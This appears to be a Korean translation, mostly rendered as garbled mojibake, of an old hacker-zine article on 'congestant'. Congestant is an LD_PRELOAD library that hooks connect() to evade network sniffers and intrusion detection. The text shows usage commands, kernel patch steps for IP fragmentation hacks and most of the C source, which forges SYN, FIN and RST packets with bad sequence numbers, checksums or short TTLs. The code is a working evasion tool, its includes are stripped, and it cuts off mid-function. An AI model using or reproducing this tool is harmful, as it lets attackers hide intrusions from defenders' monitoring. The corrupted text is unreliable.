redirectionÀ» »ç¿ëÇÏ¿© ±¸ÇöµÇ¾ú´Ù. ¾Æ·¡ ¼Ò°³µÇ´Â ù¹ø° ÇÁ·Î±×·¥ÀÎ congestant.c´Â loader°¡ óÀ½À¸·Î link½ÃÅ°µµ·Ï »ç¿ëÀÚ°¡ ¿ä±¸ÇÏ´Â °øÀ¯ libraryÀÌ´Ù. ÀÌ°ÍÀº ¸î¸îÀÇ unix¿¡¼­ LD_PRELOAD ȯ°æº¯¼ö¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·ç¾îÁø´Ù. ÀÌ ±â¼ú¿¡ ´ëÇØ ´õ ¸¹Àº ÀڷḦ ¿øÇÑ´Ù¸é halflifeÀÇ ¿ø¹® À» Âü°íÇ϶ó. °øÀ¯ library´Â connect symbolÀ» Á¤ÀÇÇϹǷΠÇÁ·Î±×·¥ ½ÇÇàÀÇ loading»óŵ¿¾È libc(ȤÀº libsocket)À¸·ÎºÎÅÍ º¸ÅëÀÇ connect functionÀ» ¼±Á¡ÇÑ´Ù. µû¶ó¼­, ±â´ÉÀûÀ¸·Î º¸ÅëÀÇ BSD socketÀ» ÀÌ¿ëÇÏ´Â ´ëºÎºÐÀÇ client programÀ» »ç¿ëÇÏ´Â ±â¼úÀ» »ç¿ëÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù. OpenBSD´Â °øÀ¯ library redirectionÀ» »ç¿ëÇÏÁö ¸øÇÏ°Ô ÇÑ´Ù.(¿©·¯ºÐÀÌ libcÀÌ¿ÜÀÇ ¿À·¡µÈ symbolÀ» dlsymÇÏ·Á°í ½ÃµµÇÒ¶§ ´ç½ÅÀÌ ¼±Á¡ÇÑ functionÀÇ pointer¸¦ µ¹·ÁÁØ´Ù.) ±×·¯³ª, ÀÌ °ÍÀº connect() syscallÀ» Á÷Á¢ È£ÃâÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¹®Á¦°¡ ¾Æ´Ï´Ù. ÀÌ °øÀ¯ library´Â ¸î¸îÀÇ ¸íÈ®ÇÑ °áÁ¡À» °¡Áö°íÀÖÁö¸¸, ¿©·¯ºÐÀº ¿øÇÏ´Â °ÍÀ» ¾òÀ» ¼ö ÀÖ ´Ù. non-blocking connect callÀ» Çϰųª RAW³ª datalink °èÃþÀ» accessÇÏ´Â ÇÁ·Î±×·¥À¸·Î ´Â ¿Ã¹Ù·Î ÀÛ¿ëÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ´õ±º´Ù³ª, ±×°ÍÀº TCP socketÀ» »ç¿ëÇϱâ À§ÇØ °í¾ÈµÇ¾ú °í socketÀÇ typeÀ» °áÁ¤ÇÏ´Â kernelÀÇ Áö¿øÀÌ ¾ø±â ¶§¹®¿¡ UDP connection¿¡¼­ TCP°ø°Ý À» ÇÏ·Á°í ÇÒ °ÍÀÌ´Ù. ÀÌ·¯ÇÑ Áö¿øÀº OpenBSD¿¡¼­¸¸ ±¸ÇöµÈ´Ù. ±×·¯³ª, ÀÌ°ÍÀº ¹«½ÃµÇ¾îÁö ´Â ¼Ò¼öÀÇ packetÀ» º¸³»±â ¶§¹®¿¡ Å« °áÁ¡Àº ¾Æ´Ï´Ù. °øÀ¯ libraryÀÇ ¶Ç´Ù¸¥ °áÁ¡Àº Ʋ¸° sequence number¸¦ ³ªÅ¸³»±â À§Çؼ­ ºÒ½Ã¿¡ sequence number¸¦ ¾ò´Âµ¥ ÀÖ´Ù. ÀÌ·¯ÇÑ »ç½Ç ¶§¹®¿¡ Á¤´çÇÑ sequence number¸¦ ¾ò°ÔµÇ¾î streamÀ» ´Ù½Ã µ¿±âÈ­ ½ÃÅ°Áö ¾ÊÀº ¼Ò¼öÀÇ °¡ ´É¼ºÀÌ ÀÖ´Ù. ±×·¯³ª ÀÌ°ÍÀº ±Ø´ÜÀûÀÎ °æ¿ìÀÌ´Ù. MakefileÀº °øÀ¯library¸¦ µ¿¹ÝÇÑ´Ù. ´ç½ÅÀÇ host¿¡ ¸Â°Ô ¼öÁ¤ÇÏ°í source file¿¡ µé¾î°¡¼­ libc.soÀÇ º¹»çº»À» °¡¸®Å°°Ô ÇÏ¸é ¸ðµç Áغñ°¡ ³¡³­´Ù. code´Â OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5 ¿Í Solrais 2.6¿¡¼­ ½ÃÇèÇÏ¿´´Ù. ¿©·¯ºÐÀº library¸¦ ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù. # export LD_PRELOAD=./congestion.so # export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS" # telnet www.blah.com library´Â ±× ½ÃÁ¡¿¡¼­ ¿©·¯ºÐÀÌ ½ÇÇàÇÏ´Â ÇÁ·Î±×·¥ÀÇ ¾î¶°ÇÑ connect¿¡¼­ "warp"µÉ °ÍÀÌ °í ºñ¹Ð¸®¿¡ ¾î¶°ÇÑ protectionÀ» Á¦°øÇÒ °ÍÀÌ´Ù. ¿©·¯ºÐÀº CONGCONF¶ó´Â ȯ°æº¯¼ö¸¦ Á¤ ÀÇÇÔÀ¸·Î ÇÁ·Î±×·¥À» Á¦¾îÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½°ú °°Àº °ø°ÝÀÇ ÇÑÁ¤µÈ ¸®½ºÆ®¿¡ comma(,)¸¦ »ç ¿ëÇÒ ¼ö ÀÖ´Ù. DEBUG: Show debugging information OH: Do the One Host Design Attack SC: Spoof a SYN prior to the connect with a bad TCP checksum. SS: Spoof a SYN after the connection in a desynchronization attempt. DS: Insert 8k of data with bad sequence numbers. FS: Spoof FIN packets with bad sequence numbers. RS: Spoof RST packets with bad sequence numbers. DC: Insert 8k of data with bad TCP checksums. (needs kernel support) FC: Spoof FIN packets with bad TCP checksums. (needs kernel support) RC: Spoof RST packets with bad TCP checksums. (needs kernel support) DT: Insert 8k of data with short TTLs. (needs kernel support) FT: Spoof FIN packets with short TTLs. (needs kernel support) RT: Spoof RST packets with short TTLs. (needs kernel support) Kernel Support -------------- OpenBSD kernel patchµéÀº À§¿¡ ¾ð±ÞµÈ ¸î°¡ÁöÀÇ ±â¼úµéÀ» ¿ëÀÌÇÏ°Ô ÇÑ´Ù. ÀÌ·¯ÇÑ patch µéÀº 2.4ÆÇ¿¡ ´ëÇØ ¸¸µé¾î Á³´Ù. ³ª´Â 3°³ÀÇ sysctlº¯¼ö¿Í 1°³ÀÇ »õ·Î¿î system callÀ» kernel¿¡ Ãß°¡½ÃÄ×´Ù. ÀÌ 3°³ÀÇ sysctlº¯¼ö´Â ´ÙÀ½°ú °°´Ù. net.inet.ip.fraghackhead (integer) net.inet.ip.fraghackbody (integer) net.inet.ip.optionshack (integer) »õ·Î¿î system callÀº getsockinfo()ÀÌ°í system call¹øÈ£ 242ÀÌ´Ù. 3°³ÀÇ sysctlÀº machineÀ¸·Î ºÎÅÍ µé¾î¿À´Â ¸ðµç ³ª°¡´Â IP packetÀÇ Æ¯¼ºÀ» ¼öÁ¤Çϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù. fraghackheadº¯¼ö´Â ¹ÛÀ¸·Î ³ª°¡´Â IP datagramÀÇ »õ·Î¿î mtu¸¦ ¸»Çϸç fraghackbody°¡ Á¤ÀǵÇÁö ¾Ê´ÂÇÑ ¸ðµç ³ª°¡´Â datagram¿¡ Àû¿ëµÈ´Ù. ÀÌ·± °æ¿ì, packetÀÇ Ã¹ Á¶°¢ÀÇ mtu´Â fraghackhead¿¡¼­ ÀÐ°í ¸ðµç ´ÙÀ½ÀÇ Á¶°¢µéÀÇ mtu´Â fraghackbody¿¡¼­ Àд´Ù. ÀÌ°ÍÀº ´ç½ÅÀÇ machineÀÇ ¸ðµç traffic¿¡¼­ ´ç½ÅÀÌ Á¤ÀÇÇÑ ¾î¶°ÇÑ Å©±â·Îµµ ºÐ¿­ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. µÎ º¯¼ö·Î ³ª´« ÀÌÀ¯´Â ù Á¶°¢¿¡ ¸ðµç TCP/UDP header°¡ µé¾îÀÖ°Ô ÇÏ°í ³ª¸ÓÁö Á¶°¢Àº 8À̳ª 16byte°¡ µÇ°Ô Çϱâ À§Çؼ­ ÀÌ´Ù. À̹æ¹ýÀº, ¿©·¯ºÐÀÇ ºÐ¿­µÈ packet ÀÌ, headerÀÇ ¼öÁ¤À» ¸·´Â filtering router¸¦ Åë°úÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. optionshake sysctlÀº ³ª °¡´Â ¸ðµç packetµéÀÇ IP optionÀÇ Çʼö 40byte¸¦ NULL·Î ¸¸µé¼ö ÀÖ°Ô ÇÑ´Ù. ³ª´Â ÀÌ·¯ÇÑ raw socketÀ» ÅëÇØ º¸³»´Â packet¿¡ ¾î¶°ÇÑ ¿µÇâµµ ÁÖÁö¾Êµµ·Ï ÀÌ·¯ÇÑ Á¦¾î ¸¦ ±¸ÇöÇÏ¿´´Ù. ÀÌ°ÍÀÇ ³í¸®´Â ¿ì¸®ÀÇ °ø°Ý packetÀº ºÐ¿­µÇÁö ¾Ê°í IP optionµµ °¡Áö°í ÀÖ Áö ¾Ê´Ù´Â °ÍÀÌ´Ù. ÀÌ·¯ÇÑ sysctlµéÀ» »ç¿ëÇÏ´Â °ÍÀº °£´ÜÇÏ´Ù: fraghackº¯¼ö´Â byte¼ö¸¦ Á¤ÀÇÇØ ÁÖ°í(ȤÀº 0 À¸·Î ¸¸µé°í), optionshak´Â 0À̳ª 1·Î ¸¸µé¸é µÈ´Ù. ¿©±â¿¡ »ç¿ë¿¹°¡ ÀÖ´Ù. # sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag fraghack optionÀ» ÁÖÀDZí°Ô ´Ù·ç´Â °ÍÀÌ ¸Å¿ì Áß¿äÇÏ´Ù. ¿©·¯ºÐÀÌ ±Ø½ÉÇÑ ºÐ¿­À» Á¤ÇÒ¶§, kernelÀÌ packetÀÇ header¸¦ ÀúÀåÇÏ´Â ¸Þ¸ð¸®¸¦ ºü¸¥¼Óµµ·Î Àâ¾Æ¸Ô°Ô µÈ´Ù. ¸¸¾à ¸Þ¸ð¸® »ç ¿ëÀÌ ³Ê¹« ³ôÀ¸¸é sendto()°¡ no buffer space error¸¦ ¹ÝȯÇϴ°ÍÀ» ¾Ë°Ô µÉ °ÍÀÌ´Ù. ¸¸¾à ¿©·¯ºÐÀÌ telnetÀ̳ª ssh°°Àº ÀÛÀº packetÀ» »ç¿ëÇÏ´Â ÇÁ·Î±×·¥¿¡ ÀÇÁ¸ÇÑ´Ù¸é, 28À̳ª 28/36 À» »ç¿ëÇϸé ÁÁÀ» °ÍÀÌ´Ù. ±×·¯³ª, ftp³ª rcp°°Àº Å« packetÀ» »ç¿ëÇÏ´Â ÇÁ·Î±×·¥À» »ç¿ëÇÑ ´Ù¸é 200°ú °°Àº Å« ¼ýÀÚ·Î fraghackbody¸¦ ³ô¿©¾ß ÇÑ´Ù. getsockinfoÀÇ system callÀº userland program¿¡ ÀÇÇØ socketÀÌ TCP socketÀÎÁö °áÁ¤ÇÏ°í »ó´ë·ÎºÎÅÍ ¹Þ°ÔµÉ °ÍÀ¸·Î ±â´ëµÇ´Â sequence number°°ÀÌ ´ÙÀ½ Àü¼ÛµÉ packetÀÇ ´ÙÀ½ sequence number¸¦ À§ÇÑ kernelÀÇ ÁúÀǸ¦ À§ÇØ ÇÊ¿äÇÏ´Ù.ÀÌ°ÍÀº userland program¿¡°Ô ¿Ç Àº sequence number¸¦ °¡ÁöÁö¸¸ short TTLÀ̳ª bad TCP checksumÀÇ ´Ù¸¥ °áÁ¡À» °¡Áö ´Â °Í¿¡ µÐ °ø°Ý¿¡°Ô´Â ±¸ÇöÀ» Çã¿ëÇÑ´Ù. kernel Patch Installation ------------------------- ¿©±â¿¡ ³»°¡ kernel patch¸¦ »ç¿ëÇÏ¿© ¼³Ä¡ÇÑ ¼ø¼­°¡ ÀÖ´Ù. Disclaimer : ³ª´Â ¼÷·ÃµÈ kernel programmer°¡ ¾Æ´Ï±â ¶§¹®¿¡ Á¶±Ý ¾î¼³ÇÁ´õ¶óµµ ³Ê¹« È­ ³»Áö´Â ¸¶¶ó. ³ªÀÇ machine¿¡¼­ÀÇ ½ÃÇèÀº Àß ÀÌ·ç¾î Á³Áö¸¸ ÀÌ patch¸¦ ¼³Ä¡ÇÔÀ¸·Î ÀÎÇØ ÀÏ ¾î³ª´Â ³ª»ÛÁ¡µéÀÌ ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. ¼öÇà¿À·ù³ª ´Ù¸¥ ¾î·Á¿òÀ» °ÞÀ»Áöµµ ¸ð¸£°Ú´Ù. ÇÏÁö¸¸ ¾î¶°ÇÑ ¾î·Á¿òµµ ¾ø´Ù¸é Àç¹Ì°¡ ¾øÁö ¾ÊÀ»±î? Step 1. Apply the netinet.patch to /usr/src/sys/netinet/ Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it Step 4. Apply kern.patch to /usr/src/sys/kern/ Step 5. cd /usr/src/sys/kern; make Step 6. Apply sys.patch to /usr/src/sys/sys/ Step 7. cd into your kernel build directory (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. Step 8. cp bsd /bsd, reboot, and cross your fingers. :> ----[ The Code <++> congestant/Makefile # OpenBSD LDPRE=-Bshareable LDPOST= OPTS=-DKERNELSUPPORT # Linux #LDPRE=-Bshareable #LDPOST=-ldl #OPTS= # Solaris #LDPRE=-G #LDPOST=-ldl #OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 congestant.so: congestant.o ld ${LDPRE} -o congestant.so congestant.o ${LDPOST} congestant.o: congestant.c gcc ${OPTS} -fPIC -c congestant.c clean: rm -f congestant.o congestant.so <--> <++> congestant/congestant.c /* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __linux__ #include #endif #include struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), 